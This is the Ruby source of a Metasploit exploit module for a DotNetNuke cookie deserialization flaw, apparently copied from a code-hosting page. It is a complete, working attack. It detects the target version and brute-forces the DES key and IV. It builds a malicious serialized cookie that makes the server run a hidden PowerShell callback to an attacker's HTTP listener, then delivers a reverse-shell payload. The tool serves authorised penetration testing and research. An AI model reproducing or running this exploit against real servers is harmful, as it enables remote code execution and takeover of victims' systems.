Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'set'78class MetasploitModule < Msf::Exploit::Remote9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Powershell11include Msf::Exploit::Remote::HttpServer1213Rank = ExcellentRanking1415# ==================================16# Override the setup method to allow17# for delayed handler start18# ===================================19def setup20# Reset the session counts to zero.21reset_session_counts2223return if !payload_instance24return if !handler_enabled?2526# Configure the payload handler27payload_instance.exploit_config = {28'active_timeout' => active_timeout29}3031# payload handler is normally set up and started here32# but has been removed so we can start the handler when needed.33end3435def initialize(info = {})36super(37update_info(38info,39'Name' => 'DotNetNuke Cookie Deserialization Remote Code Excecution',40'Description' => %q{41This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.42Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.43The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.44The cookie is processed by the application whenever it attempts to load the current user's profile data.45This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).46An attacker can leverage this vulnerability to execute arbitrary code on the system.47},48'License' => MSF_LICENSE,49'Author' => [ 'Jon Park', 'Jon Seigel' ],50'References' => [51[ 'CVE', '2017-9822' ],52[ 'CVE', '2018-15811'],53[ 'CVE', '2018-15812'],54[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-1581155[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-1581256[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],57[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],58[ 'URL', 'https://github.com/pwntester/ysoserial.net']59],60'Platform' => 'win',61'Arch' => [ARCH_X86, ARCH_X64],62'Targets' => [63[ 'Automatic', { 'auto' => true } ],64[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],65[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],66[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],67[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]68],69'Stance' => Msf::Exploit::Stance::Aggressive,70'Privileged' => false,71'DisclosureDate' => '2017-07-20',72'DefaultOptions' => { 'WfsDelay' => 5 },73'DefaultTarget' => 0,74'Notes' => {75'Stability' => [CRASH_SAFE],76'Reliability' => [REPEATABLE_SESSION],77'SideEffects' => []78}79)80)8182deregister_options('SRVHOST')8384register_options(85[86OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),87OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),88OptString.new('VERIFICATION_PLAIN', [89false, %q(The known (full or partial) plaintext of the encrypted verification code.90Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ''91]),92OptBool.new('ENCRYPTED', [93true, %q{Whether or not to encrypt the final payload cookie;94(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.}, false95]),96OptString.new('KEY', [false, 'The key to use for encryption.', '']),97OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),98OptString.new('SESSION_TOKEN', [99false, %q{The .DOTNETNUKE session cookie to use when submitting the payload to the target server.100DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.}, ''101]),102OptString.new('VERIFICATION_CODE', [103false, %q{The encrypted verification code received in a registration email.104Can also be the path to a file containing a list of verification codes.}, ''105])106]107)108109initialize_instance_variables110end111112def initialize_instance_variables113# ==================114# COMMON VARIABLES115# ==================116117@target_idx = 0118119# Flag for whether or not to perform exploitation120@dry_run = false121122# Flag for whether or not the target requires encryption123@encrypted = false124125# Flag for whether or not to attempt to decrypt the provided verification token(s)126@try_decrypt = false127128# ==================129# PAYLOAD VARIABLES130# ==================131132@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/133134# ==================135# v9.1.1+ VARIABLES136# ==================137138@key_charset = '02468ABDF'139@verification_codes = []140141@iv_regex = /[0-9A-F]{8}/142143# Known plaintext144@kpt = ''145146# Encryption objects147@decryptor = OpenSSL::Cipher.new('des')148@decryptor.decrypt149150@encryptor = OpenSSL::Cipher.new('des')151@encryptor.encrypt152153# final passphrase (key +iv) to use for payload (v9.1.1+)154@passphrase = ''155156# ==================157# v9.2.0+ VARIABLES158# ==================159160# Session token needed for exploitation (v9.2.0+)161@session_token = ''162163# ==================164# v9.2.2+ VARIABLES165# ==================166167# User ID format (v9.2.2+)168# Number of characters of user ID available in plaintext169# is equal to the length of a GUID (no spaces or dashes)170# minus (blocksize - known plaintext length).171@user_id_pt_length = 32 - (8 - @kpt.length)172@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/173174# Plaintext found from decryption (v9.2.2+)175@found_pt = ''176177@iv_charset = '0123456789abcdef'178179# Possible IVs used to encrypt verification codes (v9.2.2+)180@possible_ivs = Set.new([])181182# Possible keys used to encrypt verification codes (v9.2.2+)183@possible_keys = Set.new([])184185# passphrases (key + iv) values to use for payload encryption (v9.2.2+)186@passphrases = []187188# char sets to use when generating possible base keys189@unchanged = Set.new([65, 70])190end191192def decode_verification(code)193# Decode verification code base don DNN format194return String.new(195Rex::Text.decode_base64(196code.chomp.gsub('.', '+').gsub('-', '/').gsub('_', '=')197)198)199end200201# ==============202# Main function203# ==============204def exploit205return unless check == Exploit::CheckCode::Appears206207@encrypted = datastore['ENCRYPTED']208verification_code = datastore['VERIFICATION_CODE']209if File.file?(verification_code)210File.readlines(verification_code).each do |code|211@verification_codes.push(decode_verification(code))212end213else214@verification_codes.push(decode_verification(verification_code))215end216217@kpt = datastore['VERIFICATION_PLAIN']218219@session_token = datastore['SESSION_TOKEN']220@dry_run = datastore['DryRun']221key = datastore['KEY']222iv = datastore['IV']223224if target['ReqEncrypt'] && @encrypted == false225print_warning('Target requires encrypted payload. Exploit may not succeed.')226end227228if @encrypted229# Requires either supplied key and IV, or verification code and plaintext230if !key.blank? && !iv.blank?231@passphrase = key + iv232# Key and IV were supplied, don't try and decrypt.233@try_decrypt = false234elsif !@verification_codes.empty? && !@kpt.blank?235@try_decrypt = true236else237fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')238end239end240241if target['ReqSession'] && @session_token.blank?242fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')243end244245if @encrypted && @try_decrypt246# Set IV for decryption as the known plaintext, manually247# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.248# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.249# For v9.2.2+ it will find an initial base key faster than if padding were enabled.250f8_plain = @kpt[0, 8]251c_iv = f8_plain.unpack('C*') + [8 - f8_plain.length] * (8 - f8_plain.length)252@decryptor.iv = String.new(c_iv.pack('C*'))253@decryptor.padding = 0254255key = find_key(@verification_codes[0])256if key.blank?257return258end259260if @target_idx == 4261# target is v9.2.2+, requires base64 generated key and IV values.262generate_base_keys(0, key.each_byte.to_a, '')263vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")264265# re-enable padding here as it doesn't have the266# same performance impact when trying to find possible IV values.267@decryptor.padding = 1268269print_warning('Finding possible base IVs. This may take a few minutes...')270start = Time.now271find_ivs(@verification_codes, key)272elapsed = Time.now - start273vprint_status(274format(275'Found %<n_ivs>d potential Base IV values using %<n_codes>d '\276'verification codes in %<e_time>.2f seconds.',277n_ivs: @possible_ivs.size,278n_codes: @verification_codes.size,279e_time: elapsed.to_s280)281)282283generate_payload_passphrases284vprint_status(format('Generated %<n_phrases>d possible base64 KEY and IV combinations.', n_phrases: @passphrases.size))285end286287if @passphrase.blank?288# test all generated passphrases by289# sending an exploit payload to the target290# that will callback to an HTTP listener291# with the index of the passphrase that worked.292293# set SRVHOST as LHOST value for HTTPServer mixin294datastore['SRVHOST'] = datastore['LHOST']295print_warning('Trying all possible KEY and IV combinations...')296print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")297start_service298begin299vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")300301test_passphrases302303# If no working passphrase has been found,304# wait to allow the chance for the last one to callback.305if @passphrase.empty? && !@dry_run306sleep(wfs_delay)307end308ensure309cleanup_service310end311312print "\r\n"313if !@passphrase.empty?314print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..]} found")315end316end317end318send_exploit_payload319end320321# =====================322# For the check command323# =====================324def check325if target.name == 'Automatic'326select_target327end328329@target_idx = Integer(datastore['TARGET'])330331if @target_idx == 0332fail_with(Failure::NoTarget, 'No valid target found or specified.')333end334335# Check if 404 page is custom or not.336# Vulnerability requires custom 404 handling (enabled by default).337uri = normalize_uri(target_uri.path)338print_status("Checking for custom error page at: #{uri} ...")339res = send_request_cgi(340'uri' => uri341)342343if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600344print_good('Custom error page detected.')345else346print_error('IIS Error Page detected.')347return Exploit::CheckCode::Safe348end349return Exploit::CheckCode::Appears350end351352# ===========================353# Auto-select target version354# ===========================355def select_target356print_status('Trying to determine DNN Version...')357# Check for copyright version in /Documentation/license.txt358uri = %r{^(.*[\\/])}.match(target_uri.path)[0]359vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")360res = send_request_cgi(361'method' => 'GET',362'uri' => normalize_uri("#{uri}Documentation", 'License.txt')363)364year = -1365if res && res.code == 200366# License page found, get latest copyright year.367matches = @cr_regex.match(res.body)368if matches369year = matches[0].to_i370end371else372vprint_status("Checking version at #{uri} ...")373res = send_request_cgi(374'method' => 'GET',375'uri' => normalize_uri(uri)376)377if res && res.code == 200378# Check if copyright info is in page HTML.379matches = @cr_regex.match(res.body)380if matches381year = matches[0].to_i382end383end384end385386if year >= 2018387print_warning(388%q{DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.389Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.390Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values."}391)392datastore['TARGET'] = 3393elsif year == 2017394print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')395datastore['TARGET'] = 2396elsif year < 2017 && year > 2008397print_good('DNN Version Found: v5.1.0 - v9.0.1')398datastore['TARGET'] = 1399elsif year == 2008400print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')401datastore['TARGET'] = 1402else403print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')404end405end406407# ==============================408# Known plaintext attack to409# brute-force the encryption key410# ==============================411def find_key(cipher_text)412print_status('Finding Key...')413414# Counter415total_keys = @key_charset.length**8416i = 1417418# Set start time419start = Time.now420421# First char422@key_charset.each_byte do |a|423key = a.chr424# 2425@key_charset.each_byte do |b|426key[1] = b.chr427# 3428@key_charset.each_byte do |c|429key[2] = c.chr430# 4431@key_charset.each_byte do |d|432key[3] = d.chr433# 5434@key_charset.each_byte do |e|435key[4] = e.chr436# 6437@key_charset.each_byte do |f|438key[5] = f.chr439# 7440@key_charset.each_byte do |g|441key[6] = g.chr442# 8443@key_charset.each_byte do |h|444key[7] = h.chr445if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))446elapsed = Time.now - start447print_search_status(i, elapsed, total_keys)448print_line449if @target_idx == 4450print_good("Possible Base Key Value Found: #{key}")451else452print_good("KEY Found: #{key}")453print_good("IV Found: #{@passphrase[8..]}")454end455vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))456vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))457return String.new(key)458end459# Print timing info every 5 million attempts460if i % 5000000 == 0461print_search_status(i, Time.now - start, total_keys)462end463i += 1464end465end466end467end468end469end470end471end472elapsed = Time.now - start473print_search_status(i, elapsed, total_keys)474print_line475print_error('Key not found')476vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))477vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))478return nil479end480481# ==================================482# Attempt to decrypt a ciphertext483# and obtain the IV at the same time484# ==================================485def decrypt_data_and_iv(cipher, cipher_text, key)486cipher.key = key487begin488plaintext = cipher.update(cipher_text) + cipher.final489if @target_idx == 4490# Target is v9.2.2+491user_id = plaintext[8, @user_id_pt_length]492if @user_id_regex.match(user_id)493return true494end495496return false497end498499# This should only execute if the version is 9.1.1 - 9.2.1500iv = plaintext[0, 8]501if !@iv_regex.match(iv)502return false503end504505# Build encryption passphrase as DNN does.506@passphrase = key + iv507508# Encrypt the plaintext value using the discovered key and IV509# and compare with the initial ciphertext510if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)511@passphrases.push(String.new(key + iv))512return true513end514rescue StandardError515# Ignore decryption errors to allow execution to continue516return false517end518return false519end520521def print_search_status(num_tries, elapsed, max_tries)522msg = format('Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.', s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)523print("\r%bld%blu[*]%clr #{msg}")524end525526# ===========================527# Encrypt data using the same528# pattern that DNN uses.529# ===========================530def encrypt_data(cipher, message, passphrase)531cipher.key = passphrase[0, 8]532cipher.iv = passphrase[8, 8]533return cipher.update(message) + cipher.final534end535536# ===============================================537# Generate all possible base key values538# used to create the final passphrase in v9.2.2+.539# DES weakness allows multiple bytes to be540# interpreted as the same value.541# ===============================================542def generate_base_keys(pos, from_key, new_key)543if !@unchanged.include? from_key[pos]544if from_key[pos].even?545new_key[pos] = (from_key[pos] + 1).chr546else547new_key[pos] = (from_key[pos] - 1).chr548end549550if new_key.length == 8551@possible_keys.add(String.new(new_key))552553# also add key with original value554new_key[pos] = (from_key[pos]).chr555@possible_keys.add(String.new(new_key))556else557generate_base_keys(pos + 1, from_key, String.new(new_key))558559# also generate keys with original value560new_key[pos] = (from_key[pos]).chr561generate_base_keys(pos + 1, from_key, String.new(new_key))562end563else564new_key[pos] = (from_key[pos]).chr565if new_key.length == 8566@possible_keys.add(String.new(new_key))567else568generate_base_keys(pos + 1, from_key, String.new(new_key))569end570end571end572573# ==============================================574# Find all possible base IV values575# used to create the final Encryption passphrase576# ==============================================577def find_ivs(cipher_texts, key)578num_chars = 8 - @kpt.length579f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/580581@decryptor.key = key582found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final583# Find all possible IVs for the first ciphertext584brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..])585586# Reduce IV set by testing against other ciphertexts587cipher_texts.drop(1).each do |cipher_text|588@possible_ivs.each do |iv|589@decryptor.iv = iv590pt = @decryptor.update(cipher_text) + @decryptor.final591if !f8regex.match(pt[0, 8])592@possible_ivs.delete(iv)593end594end595end596end597598# ==========================================599# A recursive function to find all600# possible valid IV values using brute-force601# ==========================================602def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)603charset = '0123456789abcdef'604if num_chars_needed == 0605@decryptor.key = key606@decryptor.iv = pt_prefix607pt = @decryptor.update(cipher_text) + @decryptor.final608iv = pt[0, 8]609if @iv_regex.match(iv)610pt = pt_prefix + found_pt611if encrypt_data(@encryptor, pt, key + iv) == cipher_text612@possible_ivs.add(String.new(iv))613end614end615return616end617charset.length.times do |i|618brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)619end620end621622# ========================================623# Generate all possible payload encryption624# passphrases for a v9.2.2+ target625# ========================================626def generate_payload_passphrases627phrases = Set.new(@passphrases)628@possible_keys.each do |key|629@possible_ivs.each do |iv|630phrase = Rex::Text.encode_base64(631encrypt_data(@encryptor, key + iv, key + iv)632)633phrases.add(String.new(phrase[0, 16]))634end635end636@passphrases = phrases.to_a637end638639# ===========================================640# Test all generated passphrases by initializing641# an HTTP server to listen for a callback that642# contains the index of the successful passphrase.643# ===========================================644def test_passphrases645for i in 0..@passphrases.size - 1646# Stop sending if we've found the passphrase647if !@passphrase.empty?648break649end650651msg = format('Trying KEY and IV combination %<current>d of %<total>d...', current: i + 1, total: @passphrases.size)652print("\r%bld%blu[*]%clr #{msg}")653654url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"655payload = create_request_payload(url)656cookie = create_cookie(payload)657658# Encrypt cookie value659enc_cookie = Rex::Text.encode_base64(660encrypt_data(@encryptor, cookie, @passphrases[i])661)662if @dry_run663print_line664print_warning('DryRun enabled. No exploit payloads have been sent to the target.')665print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")666print_line(enc_cookie)667break668end669execute_command(enc_cookie, host: datastore['RHOST'])670end671end672673# ===============================674# Request handler for HTTP server.675# ==============================676def on_request_uri(cli, request)677# Send 404 to prevent scanner detection678send_not_found(cli)679680# Get found index - should be the only query string parameter681if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]682index = request.qstring[get_resource.delete('/').to_s].to_i683@passphrase = String.new(@passphrases[index])684end685end686687# ==============================================688# Create payload to callback to the HTTP server.689# Note: This technically exploits the690# vulnerability, but provides a way to determine691# the valid passphrase needed to exploit again.692# ==============================================693def create_request_payload(url)694# Package payload into serialized object695payload_object = ::Msf::Util::DotNetDeserialization.generate(696"powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"",697gadget_chain: :TypeConfuseDelegate,698formatter: :LosFormatter699)700701b64_payload = Rex::Text.encode_base64(payload_object)702return b64_payload703end704705# =================================706# Creates the payload cookie707# using the specified payload708# =================================709def create_cookie(payload)710cookie = '<profile>'\711'<item key="k" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, '\712'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],'\713'[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, '\714'Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, '\715'Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">'\716'<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\717'<ProjectedProperty0>'\718'<MethodName>Deserialize</MethodName>'\719'<MethodParameters>'\720'<anyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\721'xmlns:d="http://www.w3.org/2001/XMLSchema" i:type="d:string" '\722">#{payload}</anyType>"\723'</MethodParameters>'\724'<ObjectInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\725'i:type="ObjectStateFormatter" />'\726'</ProjectedProperty0>'\727'</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\728'</item>'\729'</profile>'730return cookie731end732733# =========================================734# Send the payload to the target server.735# =========================================736def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })737uri = normalize_uri(target_uri.path)738739res = send_request_cgi(740'uri' => uri,741'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"742)743if !res744fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")745elsif res.code == 404746return true747elsif res.code == 400748fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")749else750fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")751end752end753754# ======================================755# Create and send final exploit payload756# to obtain a reverse shell.757# ======================================758def send_exploit_payload759cmd_payload = create_payload760cookie_payload = create_cookie(cmd_payload)761if @encrypted762if @passphrase.blank?763print_error('Target requires encrypted payload, but a passphrase was not found or specified.')764return765end766cookie_payload = Rex::Text.encode_base64(767encrypt_data(@encryptor, cookie_payload, @passphrase)768)769end770if @dry_run771print_warning('DryRun enabled. No exploit payloads have been sent to the target.')772print_warning('Printing exploit cookie payload...')773print_line(cookie_payload)774return775end776777# Set up the payload handlers778payload_instance.setup_handler779780# Start the payload handler781payload_instance.start_handler782783print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")784execute_command(cookie_payload, host: datastore['RHOST'])785end786787# ===================================788# Create final exploit payload based on789# supplied payload options.790# ===================================791def create_payload792# Create payload793payload_object = ::Msf::Util::DotNetDeserialization.generate(794cmd_psh_payload(795payload.encoded,796payload_instance.arch.first,797remove_comspec: true, encode_final_payload: false798),799gadget_chain: :TypeConfuseDelegate,800formatter: :LosFormatter801)802803b64_payload = Rex::Text.encode_base64(payload_object)804vprint_status('Payload Object Created.')805return b64_payload806end807end808809810